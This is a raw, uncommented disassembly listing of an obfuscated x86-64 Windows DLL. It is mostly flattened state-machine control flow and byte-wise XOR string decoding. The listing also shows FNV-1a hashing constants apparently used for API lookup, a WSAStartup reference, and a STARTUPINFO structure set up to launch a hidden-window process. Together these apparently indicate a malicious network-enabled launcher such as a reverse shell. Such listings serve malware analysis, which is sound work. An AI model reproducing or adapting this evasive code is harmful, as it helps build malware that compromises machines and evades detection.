mov dword [rbp + 0x15c], ebx
mov ebx, 0x9dd4bf63
jmp 0x1800672a0
mov edx, dword [rbp + 0x15c]
mov byte [rcx + 3], dl
mov edx, 0xe5b50898
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x9dd4bf63
je 0x1800673b0
cmp edx, 0xe5b50898
jne 0x180067320
mov qword [rbp + 0x140], rax
mov edx, 0xfb4ea001
cmp edx, 0x1a3b7a01
je 0x180067365
cmp edx, 0xfb4ea001
jne 0x180067340
mov rdx, qword [rbp + 0x140]
mov qword [rbp + 0x168], rdx
mov edx, 0x1a3b7a01
jmp 0x180067340
mov rdx, qword [rbp + 0x168]
mov dl, byte [rdx]
add dl, 9
xor dl, 0x61
movsx edx, dl
mov dword [rbp + 0x15c], edx
mov edx, 0x9dd4bf63
jmp 0x180067320
mov ebx, dword [rbp + 0x15c]
mov byte [rdx + 4], bl
add rdx, 5
mov qword [rbp + 0x120], rdx
lea rdx, [0x1800dfadc]
mov qword [rbp + 0x128], rdx
mov edx, 0x3fe0e256
jmp 0x180066e50
mov edx, dword [rbp + 0x15c]
mov byte [rcx + 4], dl
mov edx, 0xe5b50898
nop
cmp edx, 0x9dd4bf63
je 0x180067424
cmp edx, 0xe5b50898
jne 0x1800673c0
mov qword [rbp + 0x140], rax
mov edx, 0xfb4ea001
nop dword [rax]
cmp edx, 0x1a3b7a01
je 0x180067405
cmp edx, 0xfb4ea001
jne 0x1800673e0
mov rdx, qword [rbp + 0x140]
mov qword [rbp + 0x168], rdx
mov edx, 0x1a3b7a01
jmp 0x1800673e0
mov rdx, qword [rbp + 0x168]
mov dl, byte [rdx]
add dl, 0xa
xor dl, 0x6c
movsx edx, dl
mov dword [rbp + 0x15c], edx
mov edx, 0x9dd4bf63
jmp 0x1800673c0
mov edx, dword [rbp + 0x15c]
mov byte [rcx + 5], dl
mov edx, 0xe5b50898
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x9dd4bf63
je 0x1800674a4
cmp edx, 0xe5b50898
jne 0x180067440
mov qword [rbp + 0x140], rax
mov edx, 0xfb4ea001
nop dword [rax]
cmp edx, 0x1a3b7a01
je 0x180067485
cmp edx, 0xfb4ea001
jne 0x180067460
mov rdx, qword [rbp + 0x140]
mov qword [rbp + 0x168], rdx
mov edx, 0x1a3b7a01
jmp 0x180067460
mov rdx, qword [rbp + 0x168]
mov dl, byte [rdx]
add dl, 0xb
xor dl, 0x75
movsx edx, dl
mov dword [rbp + 0x15c], edx
mov edx, 0x9dd4bf63
jmp 0x180067440
mov edx, dword [rbp + 0x15c]
mov byte [rcx + 6], dl
mov edx, 0xe5b50898
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x9dd4bf63
je 0x180067524
cmp edx, 0xe5b50898
jne 0x1800674c0
mov qword [rbp + 0x140], rax
mov edx, 0xfb4ea001
nop dword [rax]
cmp edx, 0x1a3b7a01
je 0x180067505
cmp edx, 0xfb4ea001
jne 0x1800674e0
mov rdx, qword [rbp + 0x140]
mov qword [rbp + 0x168], rdx
mov edx, 0x1a3b7a01
jmp 0x1800674e0
mov rdx, qword [rbp + 0x168]
mov dl, byte [rdx]
add dl, 0xc
xor dl, 0x65
movsx edx, dl
mov dword [rbp + 0x15c], edx
mov edx, 0x9dd4bf63
jmp 0x1800674c0
mov edx, dword [rbp + 0x15c]
mov byte [rcx + 7], dl
mov edx, 0xe5b50898
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x9dd4bf63
je 0x1800675a4
cmp edx, 0xe5b50898
jne 0x180067540
mov qword [rbp + 0x140], rax
mov edx, 0xfb4ea001
nop dword [rax]
cmp edx, 0x1a3b7a01
je 0x180067585
cmp edx, 0xfb4ea001
jne 0x180067560
mov rdx, qword [rbp + 0x140]
mov qword [rbp + 0x168], rdx
mov edx, 0x1a3b7a01
jmp 0x180067560
mov rdx, qword [rbp + 0x168]
mov dl, byte [rdx]
add dl, 0xd
xor dl, 0x45
movsx edx, dl
mov dword [rbp + 0x15c], edx
mov edx, 0x9dd4bf63
jmp 0x180067540
mov edx, dword [rbp + 0x15c]
mov byte [rcx + 8], dl
mov edx, 0xe5b50898
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x9dd4bf63
je 0x180067624
cmp edx, 0xe5b50898
jne 0x1800675c0
mov qword [rbp + 0x140], rax
mov edx, 0xfb4ea001
nop dword [rax]
cmp edx, 0x1a3b7a01
je 0x180067605
cmp edx, 0xfb4ea001
jne 0x1800675e0
mov rdx, qword [rbp + 0x140]
mov qword [rbp + 0x168], rdx
mov edx, 0x1a3b7a01
jmp 0x1800675e0
mov rdx, qword [rbp + 0x168]
mov dl, byte [rdx]
add dl, 0xe
xor dl, 0x78
movsx edx, dl
mov dword [rbp + 0x15c], edx
mov edx, 0x9dd4bf63
jmp 0x1800675c0
mov edx, dword [rbp + 0x15c]
mov byte [rcx + 9], dl
mov edx, 0xe5b50898
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x9dd4bf63
je 0x1800676a4
cmp edx, 0xe5b50898
jne 0x180067640
mov qword [rbp + 0x140], rax
mov edx, 0xfb4ea001
nop dword [rax]
cmp edx, 0x1a3b7a01
je 0x180067685
cmp edx, 0xfb4ea001
jne 0x180067660
mov rdx, qword [rbp + 0x140]
mov qword [rbp + 0x168], rdx
mov edx, 0x1a3b7a01
jmp 0x180067660
mov rdx, qword [rbp + 0x168]
mov dl, byte [rdx]
add dl, 0xf
xor dl, 0x57
movsx edx, dl
mov dword [rbp + 0x15c], edx
mov edx, 0x9dd4bf63
jmp 0x180067640
mov edx, dword [rbp + 0x15c]
mov byte [rcx + 0xa], dl
add rcx, 0xb
mov rdx, qword [rbp + 0x150]
add rdx, 0x12
mov qword [rbp + 0x148], rdx
mov edx, 0xbb779d4b
jmp 0x180066e50
mov rax, qword [rbp - 0x50]
mov qword [rbp + 0x58], rax
mov rax, qword [rbp + 0x58]
mov rcx, qword [rbp + 0x58]
sub rsp, 0x20
mov r8d, 0x800
xor edx, edx
call fcn.1800bc230
add rsp, 0x20
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0x50], rax
mov rax, qword [rbp + 0x50]
mov rax, qword [rbp + 0x50]
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
mov rax, qword [rbp + 0x100]
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x48]
mov rax, qword [rbp + 0x48]
movups xmmword [rax], xmm6
movups xmmword [rax + 0x10], xmm6
movups xmmword [rax + 0x20], xmm6
movups xmmword [rax + 0x30], xmm6
movups xmmword [rax + 0x40], xmm6
movups xmmword [rax + 0x50], xmm6
mov qword [rax + 0x60], 0
mov rax, qword [rbp + 0x100]
mov dword [rax], 0x68
mov rax, qword [rbp + 0x100]
mov dword [rax + 0x3c], 1
mov rax, qword [rbp + 0x100]
mov word [rax + 0x40], 0
mov rax, qword [rbp + 0x98]
mov rax, qword [rbp + 0x98]
mov qword [rbp + 0x150], rax
mov rcx, qword [rbp + 0x150]
mov word [rcx], 0x45b
mov rcx, qword [rbp + 0x150]
mov qword [rbp + 0x168], rax
mov edx, 0xbf435ec1
mov edi, 0x7fd32b22
cmp edx, 0xf7e54564
je 0x180067edd
cmp edx, 0xbf435ec1
jne 0x1800677a0
mov rdx, qword [rbp + 0x168]
movzx edx, word [rdx]
mov word [rbp + 0x140], dx
mov edx, 0xf7e54564
jmp 0x1800677a0
mov eax, 0x10
call fcn.1800ba020
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0xf0], rax
mov eax, 0x40
call fcn.1800ba020
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0xe8], rax
mov eax, 0x10
call fcn.1800ba020
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x108], rax
mov eax, 0x10
call fcn.1800ba020
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0xe0], rax
mov eax, 0x60
call fcn.1800ba020
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0xd8], rax
mov eax, 0x800
call fcn.1800ba020
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x38], rax
mov eax, 0x10
call fcn.1800ba020
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x30], rax
mov eax, 0x10
call fcn.1800ba020
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0xd0], rax
mov eax, 0x20
call fcn.1800ba020
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0xc8], rax
mov eax, 0x20
call fcn.1800ba020
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0xc0], rax
mov eax, 0x20
call fcn.1800ba020
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0xb8], rax
mov eax, 0x20
call fcn.1800ba020
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0xb0], rax
mov eax, 0x10
call fcn.1800ba020
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0xa8], rax
mov eax, 0x800
call fcn.1800ba020
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0xa0], rax
mov eax, 0x800
call fcn.1800ba020
sub rsp, rax
mov rax, rsp
mov qword [rbp - 0x50], rax
mov eax, 0x20
call fcn.1800ba020
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x28], rax
mov eax, WSAStartup
call fcn.1800ba020
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x100], rax
mov eax, 0x30
call fcn.1800ba020
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x98], rax
mov eax, 0x10
call fcn.1800ba020
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x90], rax
mov eax, 0x20
call fcn.1800ba020
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x88], rax
mov eax, 0x20
call fcn.1800ba020
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x80], rax
lea rax, [rbp + 0x160]
mov qword [rbp + 0x20], rax
mov rax, qword [rbp + 0x20]
lea rax, [rbp + 0x590]
mov qword [rbp + 0x78], rax
mov rax, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x78]
sub rsp, 0x20
mov r8d, 0x400
xor edx, edx
call fcn.1800bc230
add rsp, 0x20
lea rax, [rbp + 0x190]
mov qword [rbp + 0x70], rax
mov rax, qword [rbp + 0x70]
mov rcx, qword [rbp + 0x70]
sub rsp, 0x20
mov r8d, 0x400
xor edx, edx
call fcn.1800bc230
add rsp, 0x20
lea rax, [rbp + 0x178]
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x18]
mov dword [rbp + 0x140], 0x50
mov eax, 0x9684c146
cmp eax, 0x8a31859a
je 0x1800684b9
cmp eax, 0x9684c146
jne 0x180067a20
movsxd rax, dword [rbp + 0x140]
imul rcx, rax, 0x4ec4ec4f
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x22
add ecx, edx
lea edx, [rcx + rcx*2]
lea ecx, [rcx + rdx*4]
sub eax, ecx
mov dword [rbp + 0x168], eax
mov eax, 0x8a31859a
jmp 0x180067a20
mov rcx, qword [rbp + 0x168]
movsx ecx, cl
xor ecx, 0x52
mov dword [rbp + 0x168], ecx
mov ecx, 0x2124d5a4
nop word [rax + rax]
cmp ecx, 0xaecdf055
je 0x180068522
cmp ecx, 0x2124d5a4
jne 0x180067a80
mov ecx, dword [rbp + 0x168]
mov byte [rbp + 0x140], cl
mov ecx, 0xaecdf055
jmp 0x180067a80
mov rcx, qword [rbp + 0xc8]
sub rsp, 0x20
call fcn.180071d90
mov r11d, 0xed3b0916
movabs r10, 0x100000001b3
movabs r9, 0xcbf29ce484222325
add rsp, 0x20
mov ebx, 0x9304b30f
jmp 0x180067b00
movsxd rdi, r8d
xor rdi, qword [rbp + 0x168]
imul rdi, r10
mov esi, dword [rbp + 0x128]
add esi, 1
mov ebx, 0xc46bd60d
nop dword [rax + rax]
cmp ebx, 0xec989664
jle 0x180067b60
cmp ebx, 0xde9741a
jle 0x180067bb0
cmp ebx, 0x4040a63f
jg 0x180067c39
cmp ebx, 0xde9741b
je 0x180067d02
cmp ebx, 0x23777f42
je 0x180067d19
cmp ebx, 0x34fd6d6d
jne 0x180067b00
cmp byte [rbp + 0x118], 0
mov ebx, 0xa8588bcc
cmovne ebx, r13d
jmp 0x180067b00
cmp ebx, 0xb3b07733
jle 0x180067bf0
cmp ebx, 0xc86312b3
jle 0x180067c6d
cmp ebx, 0xc86312b4
je 0x180067adc
cmp ebx, 0xcaf004ba
je 0x180067d23
cmp ebx, 0xdf0d33c4
jne 0x180067b00
mov ebx, 0xc46bd60d
xor esi, esi
mov rdi, r9
jmp 0x180067b00
cmp ebx, 0xfa416f8f
jle 0x180067cae
cmp ebx, 0xfa416f90
je 0x180067d50
cmp ebx, 0x45d558a
je 0x180067d61
cmp ebx, 0xc942d64
jne 0x180067b00
mov ebx, 0xcaf004ba
xor edx, edx
jmp 0x180067b00
cmp ebx, 0xa8588bcb
jle 0x180067ce0
cmp ebx, 0xa8588bcc
je 0x180067d7b
cmp ebx, 0xa94a57ae
je 0x180067d8c
cmp ebx, 0xb18d2356
jne 0x180067b00
mov ecx, dword [rbp + 0x150]
or ecx, 0x20
mov dword [rbp + 0x138], ecx
mov ebx, 0xfa416f90
jmp 0x180067b00
cmp ebx, 0x4040a640
je 0x180067d96
cmp ebx, 0x494b1080
je 0x180067da0
cmp ebx, 0x6238ad6b
jne 0x180067b00
mov ebx, 0xcaf004ba
mov edx, dword [rbp + 0x15c]
jmp 0x180067b00
cmp ebx, 0xb3b07734
je 0x180067db5
cmp ebx, 0xc46bd60d
jne 0x180067e10
mov dword [rbp + 0x128], esi
mov qword [rbp + 0x168], rdi
mov ebx, dword [rbp + 0x120]
mov ecx, dword [rbp + 0x128]
cmp ecx, ebx
mov ebx, 0xc5d9b945
cmovb ebx, r12d
jmp 0x180067b00
cmp ebx, 0xec989665
je 0x180067ddc
cmp ebx, 0xed3b0916
jne 0x180067b00
mov ecx, dword [rbp + 0x150]
cmp ecx, 0x5b
setl byte [rbp + 0x118]
mov ebx, 0x34fd6d6d
jmp 0x180067b00
cmp ebx, 0x8051c795
je 0x180067df5
cmp ebx, 0x9304b30f
jne 0x180067b00
mov ebx, 0xc942d64
jmp 0x180067b00
mov ecx, dword [rbp + 0x128]
mov qword [rbp + 0x148], rcx
mov ebx, 0x8051c795
jmp 0x180067b00
mov ebx, 0xdf0d33c4
jmp 0x180067b00
mov dword [rbp + 0x120], edx
mov ebx, dword [rbp + 0x120]
movsx ebx, byte [rax + rbx]
mov dword [rbp + 0x11c], ebx
mov ebx, dword [rbp + 0x11c]
cmp ebx, 0x1f
mov ebx, 0xa94a57ae
cmovg ebx, r15d
jmp 0x180067b00
mov ebx, 0xc86312b4
mov r8d, dword [rbp + 0x138]
jmp 0x180067b00
mov ebx, dword [rbp + 0x11c]
cmp ebx, 0x7f
setl byte [rbp + 0x137]
mov ebx, 0x494b1080
jmp 0x180067b00
mov ebx, 0xc86312b4
mov r8d, dword [rbp + 0x150]
jmp 0x180067b00
mov ebx, 0x23777f42
jmp 0x180067b00
mov ebx, 0x6238ad6b
jmp 0x180067b00
cmp byte [rbp + 0x137], 0
mov ebx, 0xa94a57ae
cmovne ebx, r14d
jmp 0x180067b00
mov rcx, qword [rbp + 0x140]
movsx ecx, byte [rcx]
mov dword [rbp + 0x150], ecx
mov ecx, dword [rbp + 0x150]
cmp ecx, 0x40
mov ebx, 0xa8588bcc
cmovg ebx, r11d
jmp 0x180067b00
mov ebx, dword [rbp + 0x120]
add ebx, 1
mov dword [rbp + 0x15c], ebx
mov ebx, 0x4040a640
jmp 0x180067b00
mov rcx, qword [rbp + 0x148]
add rcx, rax
mov qword [rbp + 0x140], rcx
mov ebx, 0xb3b07734
jmp 0x180067b00
cmp ebx, 0xc5d9b945
jne 0x180067b00
mov rcx, qword [rbp + 0x168]
sub rsp, 0x20
call fcn.1800ae820
add rsp, 0x20
mov qword [rbp - 0x48], rax
mov rsi, qword [rbp + 0x38]
mov rax, qword [rbp + 0xc0]
mov rax, qword [rbp + 0xc0]
mov qword [rbp + 0x120], rax
mov rcx, qword [rbp + 0x120]
mov word [rcx], 0x3c0e
mov rcx, qword [rbp + 0x120]
mov edx, 0x68077d15
nop word cs:[rax + rax]
nop
cmp edx, 0x72414454
je 0x180068ad1
cmp edx, 0x68077d15
jne 0x180067e70
mov dword [rbp + 0x140], 0x43
mov qword [rbp + 0x168], rax
mov edx, 0xc0f2eaca
nop word [rax + rax]
cmp edx, 0xe36de240
je 0x180067ec8
cmp edx, 0xc0f2eaca
jne 0x180067ea0
mov rdx, qword [rbp + 0x168]
movzx edx, word [rdx]
mov word [rbp + 0x148], dx
mov edx, 0xe36de240
jmp 0x180067ea0
movzx edx, word [rbp + 0x148]
mov word [rbp + 0x128], dx
mov edx, 0x72414454
jmp 0x180067e70
movzx edx, word [rbp + 0x140]
xor edx, 0x73
mov word [rcx + 2], dx
add rcx, 4
mov qword [rbp + 0x138], rcx
lea rcx, [0x1800dfc12]
mov qword [rbp + 0x120], rcx
mov edx, 0x53817fd0
nop dword [rax]
cmp edx, 0x53817fcf
jg 0x180067f30
cmp edx, 0xbef43a37
je 0x180067f8c
cmp edx, 0xeb30be2e
jne 0x180067f10
jmp 0x180068b60
cmp edx, 0x66919942
je 0x180067fdc
cmp edx, 0x53817fd0
jne 0x180067f10
mov rdx, qword [rbp + 0x120]
movzx edx, word [rdx]
mov qword [rbp + 0x168], rax
mov ebx, 0xbf435ec1
nop word [rax + rax]
cmp ebx, 0xf7e54564
je 0x180067ffe
cmp ebx, 0xbf435ec1
jne 0x180067f60
mov rbx, qword [rbp + 0x168]
movzx ebx, word [rbx]
mov word [rbp + 0x15c], bx
mov ebx, 0xf7e54564
jmp 0x180067f60
mov rcx, qword [rbp + 0x148]
movzx ecx, word [rcx]
mov qword [rbp + 0x168], rax
mov edx, 0xbf435ec1
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xf7e54564
je 0x180068058
cmp edx, 0xbf435ec1
jne 0x180067fb0
mov rdx, qword [rbp + 0x168]
movzx edx, word [rdx]
mov word [rbp + 0x15c], dx
mov edx, 0xf7e54564
jmp 0x180067fb0
mov word [rcx], 0
add rcx, 2
cmp rcx, qword [rbp + 0x140]
mov edx, 0x66919942
mov ebx, 0xeb30be2e
cmove edx, ebx
jmp 0x180067f10
xor dx, word [rbp + 0x15c]
mov rbx, qword [rbp + 0x138]
mov word [rbx], dx
mov rdx, qword [rbp + 0x138]
mov qword [rbp + 0x168], rax
mov ebx, 0xbf435ec1
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0xf7e54564
je 0x1800680a8
cmp ebx, 0xbf435ec1
jne 0x180068030
mov rbx, qword [rbp + 0x168]
movzx ebx, word [rbx]
mov word [rbp + 0x15c], bx
mov ebx, 0xf7e54564
jmp 0x180068030
xor cx, word [rbp + 0x15c]
mov rdx, qword [rbp + 0x128]
mov word [rdx], cx
mov rcx, qword [rbp + 0x128]
mov qword [rbp + 0x168], rax
mov edx, 0xbf435ec1
nop dword [rax]
cmp edx, 0xf7e54564
je 0x1800680f8
cmp edx, 0xbf435ec1
jne 0x180068080
mov rdx, qword [rbp + 0x168]
movzx edx, word [rdx]
mov word [rbp + 0x15c], dx
mov edx, 0xf7e54564
jmp 0x180068080
movzx ebx, word [rbp + 0x15c]
xor ebx, 0x20
mov word [rdx + 2], bx
mov qword [rbp + 0x168], rax
mov ebx, 0xbf435ec1
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0xf7e54564
je 0x180068148
cmp ebx, 0xbf435ec1
jne 0x1800680d0
mov rbx, qword [rbp + 0x168]
movzx ebx, word [rbx]
mov word [rbp + 0x15c], bx
mov ebx, 0xf7e54564
jmp 0x1800680d0
movzx edx, word [rbp + 0x15c]
xor edx, 0x63
mov word [rcx + 2], dx
mov qword [rbp + 0x168], rax
mov edx, 0xbf435ec1
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xf7e54564
je 0x180068198
cmp edx, 0xbf435ec1
jne 0x180068120
mov rdx, qword [rbp + 0x168]
movzx edx, word [rdx]
mov word [rbp + 0x15c], dx
mov edx, 0xf7e54564
jmp 0x180068120
movzx ebx, word [rbp + 0x15c]
xor ebx, 0x64
mov word [rdx + 4], bx
mov qword [rbp + 0x168], rax
mov ebx, 0xbf435ec1
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0xf7e54564
je 0x1800681e8
cmp ebx, 0xbf435ec1
jne 0x180068170
mov rbx, qword [rbp + 0x168]
movzx ebx, word [rbx]
mov word [rbp + 0x15c], bx
mov ebx, 0xf7e54564
jmp 0x180068170
movzx edx, word [rbp + 0x15c]
xor edx, 0x68
mov word [rcx + 4], dx
mov qword [rbp + 0x168], rax
mov edx, 0xbf435ec1
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xf7e54564
je 0x180068238
cmp edx, 0xbf435ec1
jne 0x1800681c0
mov rdx, qword [rbp + 0x168]
movzx edx, word [rdx]
mov word [rbp + 0x15c], dx
mov edx, 0xf7e54564
jmp 0x1800681c0
movzx ebx, word [rbp + 0x15c]
xor ebx, 0x65
mov word [rdx + 6], bx
mov qword [rbp + 0x168], rax
mov ebx, 0xbf435ec1
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0xf7e54564
je 0x180068288
cmp ebx, 0xbf435ec1
jne 0x180068210
mov rbx, qword [rbp + 0x168]
movzx ebx, word [rbx]
mov word [rbp + 0x15c], bx
mov ebx, 0xf7e54564
jmp 0x180068210
movzx edx, word [rbp + 0x15c]
xor edx, 0x65
mov word [rcx + 6], dx
mov qword [rbp + 0x168], rax
mov edx, 0xbf435ec1
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xf7e54564
je 0x1800682d8
cmp edx, 0xbf435ec1
jne 0x180068260
mov rdx, qword [rbp + 0x168]
movzx edx, word [rdx]
mov word [rbp + 0x15c], dx
mov edx, 0xf7e54564
jmp 0x180068260
movzx ebx, word [rbp + 0x15c]
xor ebx, 0x6c
mov word [rdx + 8], bx
mov qword [rbp + 0x168], rax
mov ebx, 0xbf435ec1
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0xf7e54564
je 0x180068328
cmp ebx, 0xbf435ec1
jne 0x1800682b0
mov rbx, qword [rbp + 0x168]
movzx ebx, word [rbx]
mov word [rbp + 0x15c], bx
mov ebx, 0xf7e54564
jmp 0x1800682b0
movzx edx, word [rbp + 0x15c]
xor edx, 0x44
mov word [rcx + 8], dx
mov qword [rbp + 0x168], rax
mov edx, 0xbf435ec1
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xf7e54564
je 0x180068378
cmp edx, 0xbf435ec1
jne 0x180068300
mov rdx, qword [rbp + 0x168]
movzx edx, word [rdx]
mov word [rbp + 0x15c], dx
mov edx, 0xf7e54564
jmp 0x180068300
movzx ebx, word [rbp + 0x15c]
xor ebx, 0x65
mov word [rdx + 0xa], bx
mov qword [rbp + 0x168], rax
mov ebx, 0xbf435ec1
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0xf7e54564
je 0x1800683a6
cmp ebx, 0xbf435ec1
jne 0x180068350
mov rbx, qword [rbp + 0x168]
movzx ebx, word [rbx]
mov word [rbp + 0x15c], bx
mov ebx, 0xf7e54564
jmp 0x180068350
movzx edx, word [rbp + 0x15c]
xor edx, 0x42
mov word [rcx + 0xa], dx
add rcx, 0xc
mov rdx, qword [rbp + 0x150]
add rdx, 0x26
mov qword [rbp + 0x140], rdx
mov edx, 0x66919942
jmp 0x180067f10
movzx ebx, word [rbp + 0x15c]
xor ebx, 0x74
mov word [rdx + 0xc], bx
mov qword [rbp + 0x168], rax
mov ebx, 0xbf435ec1
cmp ebx, 0xf7e54564
je 0x1800683e8
cmp ebx, 0xbf435ec1
jne 0x1800683c0
mov rbx, qword [rbp + 0x168]
movzx ebx, word [rbx]
mov word [rbp + 0x15c], bx
mov ebx, 0xf7e54564
jmp 0x1800683c0
movzx ebx, word [rbp + 0x15c]
xor ebx, 0x65
mov word [rdx + 0xe], bx
mov qword [rbp + 0x168], rax
mov ebx, 0xbf435ec1
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0xf7e54564
je 0x180068438
cmp ebx, 0xbf435ec1
jne 0x180068410
mov rbx, qword [rbp + 0x168]
movzx ebx, word [rbx]
mov word [rbp + 0x15c], bx
mov ebx, 0xf7e54564
jmp 0x180068410
movzx ebx, word [rbp + 0x15c]
xor ebx, 0x20
mov word [rdx + 0x10], bx
mov qword [rbp + 0x168], rax
mov ebx, 0xbf435ec1
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0xf7e54564
je 0x180068488
cmp ebx, 0xbf435ec1
jne 0x180068460
mov rbx, qword [rbp + 0x168]
movzx ebx, word [rbx]
mov word [rbp + 0x15c], bx
mov ebx, 0xf7e54564
jmp 0x180068460
movzx ebx, word [rbp + 0x15c]
xor ebx, 0x43
mov word [rdx + 0x12], bx
add rdx, 0x14
mov qword [rbp + 0x128], rdx
lea rdx, [0x1800dfc26]
mov qword [rbp + 0x148], rdx
mov edx, 0xbef43a37
jmp 0x180067f10
mov eax, dword [rbp + 0x168]
add al, 0x47
mov byte [rbp + 0x178], al
mov dword [rbp + 0x140], 0x50
mov eax, 0x9684c146
nop word cs:[rax + rax]
cmp eax, 0x8a31859a
je 0x180068dc7
cmp eax, 0x9684c146
jne 0x1800684e0
movsxd rax, dword [rbp + 0x140]
imul rcx, rax, 0x4ec4ec4f
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x22
add ecx, edx
lea edx, [rcx + rcx*2]
lea ecx, [rcx + rdx*4]
sub eax, ecx
mov dword [rbp + 0x168], eax
mov eax, 0x8a31859a
jmp 0x1800684e0
mov cl, byte [rbp + 0x140]
mov byte [rbp + 0x150], cl
mov edx, 0xf4250f74
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x289354a4
jg 0x1800685a0
cmp edx, 0xc9618b2b
je 0x1800685d7
cmp edx, 0xf4250f74
jne 0x180068540
mov rdx, qword [rbp + 0x128]
mov bl, byte [rbp + 0x150]
mov byte [rdx], bl
mov rdx, qword [rbp + 0x128]
movsx rbx, byte [rax]
add rbx, 1
mov edi, 0x342d9d70
nop
cmp edi, 0xb4f786a4
je 0x1800685f7
cmp edi, 0x342d9d70
jne 0x180068580
mov qword [rbp + 0x168], rbx
mov edi, 0xb4f786a4
jmp 0x180068580
cmp edx, 0x289354a5
je 0x180068e32
cmp edx, 0x525addce
jne 0x180068540
mov rcx, qword [rbp + 0x120]
add rcx, 0xd
mov qword [rbp + 0x140], rcx
mov edx, 0xc9618b2b
mov rcx, qword [rbp + 0x148]
jmp 0x180068540
mov byte [rcx], 0
add rcx, 1
cmp rcx, qword [rbp + 0x140]
mov edx, 0xc9618b2b
mov ebx, 0x289354a5
cmove edx, ebx
jmp 0x180068540
mov rbx, qword [rbp + 0x168]
movsx ebx, bl
xor ebx, 0x65
mov dword [rbp + 0x168], ebx
mov ebx, 0x2124d5a4
nop
cmp ebx, 0xaecdf055
je 0x180068633
cmp ebx, 0x2124d5a4
jne 0x180068610
mov ebx, dword [rbp + 0x168]
mov byte [rbp + 0x138], bl
mov ebx, 0xaecdf055
jmp 0x180068610
mov bl, byte [rbp + 0x138]
mov byte [rdx + 1], bl
movsx rbx, byte [rax]
add rbx, 2
mov edi, 0x342d9d70
nop dword [rax]
cmp edi, 0xb4f786a4
je 0x18006866e
cmp edi, 0x342d9d70
jne 0x180068650
mov qword [rbp + 0x168], rbx
mov edi, 0xb4f786a4
jmp 0x180068650
mov rbx, qword [rbp + 0x168]
movsx ebx, bl
xor ebx, 0x67
mov dword [rbp + 0x168], ebx
mov ebx, 0x2124d5a4
nop word cs:[rax + rax]
cmp ebx, 0xaecdf055
je 0x1800686b3
cmp ebx, 0x2124d5a4
jne 0x180068690
mov ebx, dword [rbp + 0x168]
mov byte [rbp + 0x138], bl
mov ebx, 0xaecdf055
jmp 0x180068690
mov bl, byte [rbp + 0x138]
mov byte [rdx + 2], bl
movsx rbx, byte [rax]
add rbx, 3
mov edi, 0x342d9d70
nop dword [rax]
cmp edi, 0xb4f786a4
je 0x1800686ee
cmp edi, 0x342d9d70
jne 0x1800686d0
mov qword [rbp + 0x168], rbx
mov edi, 0xb4f786a4
jmp 0x1800686d0
mov rbx, qword [rbp + 0x168]
movsx ebx, bl
xor ebx, 0x43
mov dword [rbp + 0x168], ebx
mov ebx, 0x2124d5a4
nop word cs:[rax + rax]
cmp ebx, 0xaecdf055
je 0x180068733
cmp ebx, 0x2124d5a4
jne 0x180068710
mov ebx, dword [rbp + 0x168]
mov byte [rbp + 0x138], bl
mov ebx, 0xaecdf055
jmp 0x180068710
mov bl, byte [rbp + 0x138]
mov byte [rdx + 3], bl
movsx rbx, byte [rax]
add rbx, 4
mov edi, 0x342d9d70
nop dword [rax]
cmp edi, 0xb4f786a4
je 0x18006876e
cmp edi, 0x342d9d70
jne 0x180068750
mov qword [rbp + 0x168], rbx
mov edi, 0xb4f786a4
jmp 0x180068750
mov rbx, qword [rbp + 0x168]
movsx ebx, bl
xor ebx, 0x6c
mov dword [rbp + 0x168], ebx
mov ebx, 0x2124d5a4
nop word cs:[rax + rax]
cmp ebx, 0xaecdf055
je 0x1800687b3
cmp ebx, 0x2124d5a4
jne 0x180068790
mov ebx, dword [rbp + 0x168]
mov byte [rbp + 0x138], bl
mov ebx, 0xaecdf055
jmp 0x180068790
mov bl, byte [rbp + 0x138]
mov byte [rdx + 4], bl
movsx rbx, byte [rax]
add rbx, 5
mov edi, 0x342d9d70
nop dword [rax]
cmp edi, 0xb4f786a4
je 0x1800687ee
cmp edi, 0x342d9d70
jne 0x1800687d0
mov qword [rbp + 0x168], rbx
